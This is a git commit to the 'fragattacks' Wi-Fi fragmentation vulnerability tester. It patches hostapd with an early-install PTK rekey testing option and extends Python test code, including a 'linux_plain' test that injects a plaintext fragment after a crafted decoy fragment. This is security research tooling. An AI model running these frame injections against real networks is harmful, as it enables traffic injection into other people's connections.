fragattacks: fix linux_plain, add rekey-early-install and pn-per-qos

This commit is contained in:
Mathy 2020-04-25 17:29:31 -04:00 committed by Mathy Vanhoef
parent a7c1b406e4
commit b62e788f1a
6 changed files with 73 additions and 22 deletions

View File

@ -2362,6 +2362,7 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd)
{ {
struct sta_info *sta; struct sta_info *sta;
u8 addr[ETH_ALEN]; u8 addr[ETH_ALEN];
int early_install = os_strstr(cmd, "early-install") != NULL;
if (hwaddr_aton(cmd, addr)) if (hwaddr_aton(cmd, addr))
return -1; return -1;
@ -2370,8 +2371,9 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd)
if (!sta || !sta->wpa_sm) if (!sta || !sta->wpa_sm)
return -1; return -1;
wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR, MAC2STR(sta->addr)); wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR " early_install=%d",
return wpa_auth_rekey_ptk(sta->wpa_sm); MAC2STR(sta->addr), early_install);
return wpa_auth_rekey_ptk(sta->wpa_sm, early_install);
} }

View File

@ -321,15 +321,17 @@ class PingTest(Test):
self.actions.insert(i, sep_frag) self.actions.insert(i, sep_frag)
class LinuxTest(Test): class LinuxTest(Test):
def __init__(self, ptype): def __init__(self, ptype, decoy_tid=None):
super().__init__([ super().__init__([
Action(Action.Connected, Action.GetIp), # XXX we don't always want to wait on this? # Note: to inject immediately after 4-way provide IPs using --ip and --peerip
Action(Action.Connected, Action.GetIp),
Action(Action.Connected, enc=True), Action(Action.Connected, enc=True),
Action(Action.Connected, enc=True), Action(Action.Connected, enc=True),
Action(Action.Connected, enc=False) Action(Action.Connected, enc=False)
]) ])
self.ptype = ptype self.ptype = ptype
self.check_fn = None self.check_fn = None
self.decoy_tid = decoy_tid
def check(self, p): def check(self, p):
if self.check_fn == None: if self.check_fn == None:
@ -345,8 +347,17 @@ class LinuxTest(Test):
# Fragment 2: make Linux update latest used crypto Packet Number. Use a dummy packet # Fragment 2: make Linux update latest used crypto Packet Number. Use a dummy packet
# that can't accidently aggregate with the first fragment in a corrrect packet. # that can't accidently aggregate with the first fragment in a corrrect packet.
p = station.get_header()/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment") p = station.get_header(prior=2)/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment")
p.SC = frag2.SC ^ (1 << 4) p.SC = frag2.SC ^ (1 << 4)
# - In the attack against Linux, the decoy frame must have the same QoS TID.
# - On the other hand, some devices seem to only cache fragments for one sequence
# number per QoS priority. So to avoid overwriting the first fragment, add this
# option to use a different priority for it.
p.TID = 2
if self.decoy_tid != None:
p.TID = 3
self.actions[1].frame = p self.actions[1].frame = p
# Fragment 3: can now inject last fragment as plaintext # Fragment 3: can now inject last fragment as plaintext
@ -458,7 +469,7 @@ class Station():
# Don't reset PN to have consistency over rekeys and reconnects # Don't reset PN to have consistency over rekeys and reconnects
self.reset_keys() self.reset_keys()
self.pn = 0x100 self.pn = [0x100] * 16
# Contains either the "to-DS" or "from-DS" flag. # Contains either the "to-DS" or "from-DS" flag.
self.FCfield = Dot11(FCfield=ds_status).FCfield self.FCfield = Dot11(FCfield=ds_status).FCfield
@ -572,8 +583,8 @@ class Station():
return header return header
def encrypt(self, frame, inc_pn=1, force_key=None): def encrypt(self, frame, inc_pn=1, force_key=None):
# TODO: Option to use per-QoS transmit replay counters? idx = dot11_get_priority(frame) if self.options.pn_per_qos else 0
self.pn += inc_pn self.pn[idx] += inc_pn
key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx) key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx)
if force_key == 0: if force_key == 0:
@ -581,9 +592,9 @@ class Station():
key = b"\x00" * len(key) key = b"\x00" * len(key)
if len(key) == 16: if len(key) == 16:
encrypted = encrypt_ccmp(frame, key, self.pn, keyid) encrypted = encrypt_ccmp(frame, key, self.pn[idx], keyid)
else: else:
encrypted = encrypt_wep(frame, key, self.pn, keyid) encrypted = encrypt_wep(frame, key, self.pn[idx], keyid)
return encrypted return encrypted
@ -906,7 +917,11 @@ class Authenticator(Daemon):
def rekey(self, station): def rekey(self, station):
log(STATUS, f"Starting PTK rekey with client {station.get_peermac()}", color="green") log(STATUS, f"Starting PTK rekey with client {station.get_peermac()}", color="green")
wpaspy_command(self.wpaspy_ctrl, "REKEY_PTK " + station.get_peermac()) cmd = f"REKEY_PTK {station.get_peermac()}"
if self.options.rekey_early_install:
log(STATUS, "Will install PTK during rekey after sending Msg4")
cmd += " early-install"
wpaspy_command(self.wpaspy_ctrl, cmd)
def reconnect(self, station): def reconnect(self, station):
# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1 # Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
@ -1242,10 +1257,12 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
test = PingTest(REQ_ICMP, actions, as_msdu=as_msdu, bcast=bcast) test = PingTest(REQ_ICMP, actions, as_msdu=as_msdu, bcast=bcast)
elif test_name == "ping_frag_sep": elif test_name == "ping_frag_sep":
# Check if we can send frames in between fragments. The seperator uses a different QoS TID. # Check if we can send frames in between fragments. The seperator by default uses a different
# The second fragment must use an incremental PN compared to the first fragment. So this # QoS TID. The second fragment must use an incremental PN compared to the first fragment.
# also tests if the receivers uses a per-QoS receive replay counter. # So this also tests if the receivers uses a per-QoS receive replay counter. By overriding
separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=1)/LLC()/SNAP() # the TID you can check whether fragments are cached for multiple sequence numbers in one TID.
tid = 1 if stractions == None else int(stractions)
separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=tid)/LLC()/SNAP()
test = PingTest(REQ_ICMP, test = PingTest(REQ_ICMP,
[Action(Action.Connected, action=Action.GetIp), [Action(Action.Connected, action=Action.GetIp),
Action(Action.Connected, enc=True), Action(Action.Connected, enc=True),
@ -1283,7 +1300,8 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
test = EapolMsduTest(REQ_ICMP, actions) test = EapolMsduTest(REQ_ICMP, actions)
elif test_name == "linux_plain": elif test_name == "linux_plain":
test = LinuxTest(REQ_ICMP) decoy_tid = None if stractions == None else int(stractions)
test = LinuxTest(REQ_ICMP, decoy_tid)
elif test_name == "macos": elif test_name == "macos":
if stractions != None: if stractions != None:
@ -1328,7 +1346,7 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
# If requested, override the ptype # If requested, override the ptype
if ptype != None: if ptype != None:
if not hasattr(test, "ptype"): if not hasattr(test, "ptype"):
log(WARNING, "Cannot override request type of this test.") log(WARNING, "Cannot override request type of the selected test.")
quit(1) quit(1)
test.ptype = ptype test.ptype = ptype
@ -1359,7 +1377,7 @@ def args2msdu(args):
if __name__ == "__main__": if __name__ == "__main__":
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n") log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!")
parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.") parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.")
parser.add_argument('iface', help="Interface to use for the tests.") parser.add_argument('iface', help="Interface to use for the tests.")
@ -1378,8 +1396,10 @@ if __name__ == "__main__":
parser.add_argument('--icmp', default=False, action='store_true', help="Override default request with ICMP ping request.") parser.add_argument('--icmp', default=False, action='store_true', help="Override default request with ICMP ping request.")
parser.add_argument('--rekey-request', default=False, action='store_true', help="Actively request PTK rekey as client.") parser.add_argument('--rekey-request', default=False, action='store_true', help="Actively request PTK rekey as client.")
parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.") parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.")
parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.")
parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.") parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.")
parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address.") parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address (addr1).")
parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.")
args = parser.parse_args() args = parser.parse_args()
ptype = args2ptype(args) ptype = args2ptype(args)
@ -1393,7 +1413,9 @@ if __name__ == "__main__":
options.peerip = args.peerip options.peerip = args.peerip
options.rekey_request = args.rekey_request options.rekey_request = args.rekey_request
options.rekey_plaintext = args.rekey_plaintext options.rekey_plaintext = args.rekey_plaintext
options.rekey_early_install = args.rekey_early_install
options.full_reconnect = args.full_reconnect options.full_reconnect = args.full_reconnect
options.pn_per_qos = args.pn_per_qos
# Parse remaining options # Parse remaining options
global_log_level -= args.debug global_log_level -= args.debug

@ -1 +1 @@
Subproject commit 004cd93c830d9c4f12a0ffc70de267a6f77d465c Subproject commit 95dc6b7e32b63c1e2efa50f2ba60fca1b025dca7

View File

@ -892,6 +892,9 @@ static int wpa_receive_error_report(struct wpa_authenticator *wpa_auth,
* Error report is not a request for a new key handshake, but since * Error report is not a request for a new key handshake, but since
* Authenticator may do it, let's change the keys now anyway. * Authenticator may do it, let's change the keys now anyway.
*/ */
#ifdef CONFIG_TESTING_OPTIONS
sm->early_install = 0;
#endif /* CONFIG_TESTING_OPTIONS */
wpa_request_new_ptk(sm); wpa_request_new_ptk(sm);
return 0; return 0;
} }
@ -1339,6 +1342,9 @@ continue_processing:
wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO,
"received EAPOL-Key Request for new " "received EAPOL-Key Request for new "
"4-Way Handshake"); "4-Way Handshake");
#ifdef CONFIG_TESTING_OPTIONS
sm->early_install = 0;
#endif /* CONFIG_TESTING_OPTIONS */
wpa_request_new_ptk(sm); wpa_request_new_ptk(sm);
} else if (key_data_length > 0 && } else if (key_data_length > 0 &&
wpa_parse_kde_ies(key_data, key_data_length, wpa_parse_kde_ies(key_data, key_data_length,
@ -3400,6 +3406,23 @@ SM_STATE(WPA_PTK, PTKINITNEGOTIATING)
WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL | WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL |
WPA_KEY_INFO_KEY_TYPE, WPA_KEY_INFO_KEY_TYPE,
_rsc, sm->ANonce, kde, pos - kde, 0, encr); _rsc, sm->ANonce, kde, pos - kde, 0, encr);
#ifdef CONFIG_TESTING_OPTIONS
if (sm->early_install)
{
sm->early_install = 0;
enum wpa_alg alg = wpa_cipher_to_alg(sm->pairwise);
int klen = wpa_cipher_key_len(sm->pairwise);
if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0,
sm->PTK.tk, klen,
KEY_FLAG_PAIRWISE_RX_TX)) {
wpa_sta_disconnect(sm->wpa_auth, sm->addr,
WLAN_REASON_PREV_AUTH_NOT_VALID);
return;
}
}
#endif /* CONFIG_TESTING_OPTIONS */
done: done:
os_free(kde); os_free(kde);
os_free(wpa_ie_buf); os_free(wpa_ie_buf);
@ -5279,9 +5302,12 @@ int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth)
} }
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm) int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install)
{ {
eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm);
#ifdef CONFIG_TESTING_OPTIONS
sm->early_install = early_install;
#endif /* CONFIG_TESTING_OPTIONS */
return eloop_register_timeout(0, 0, wpa_rekey_ptk, sm->wpa_auth, sm); return eloop_register_timeout(0, 0, wpa_rekey_ptk, sm->wpa_auth, sm);
} }

View File

@ -499,7 +499,7 @@ int wpa_auth_resend_group_m1(struct wpa_state_machine *sm,
void (*cb)(void *ctx1, void *ctx2), void (*cb)(void *ctx1, void *ctx2),
void *ctx1, void *ctx2); void *ctx1, void *ctx2);
int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth); int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth);
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm); int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install);
void wpa_auth_set_ptk_rekey_timer(struct wpa_state_machine *sm); void wpa_auth_set_ptk_rekey_timer(struct wpa_state_machine *sm);
#endif /* WPA_AUTH_H */ #endif /* WPA_AUTH_H */

View File

@ -160,6 +160,7 @@ struct wpa_state_machine {
#endif /* CONFIG_DPP2 */ #endif /* CONFIG_DPP2 */
#ifdef CONFIG_TESTING_OPTIONS #ifdef CONFIG_TESTING_OPTIONS
int early_install;
void (*eapol_status_cb)(void *ctx1, void *ctx2); void (*eapol_status_cb)(void *ctx1, void *ctx2);
void *eapol_status_cb_ctx1; void *eapol_status_cb_ctx1;
void *eapol_status_cb_ctx2; void *eapol_status_cb_ctx2;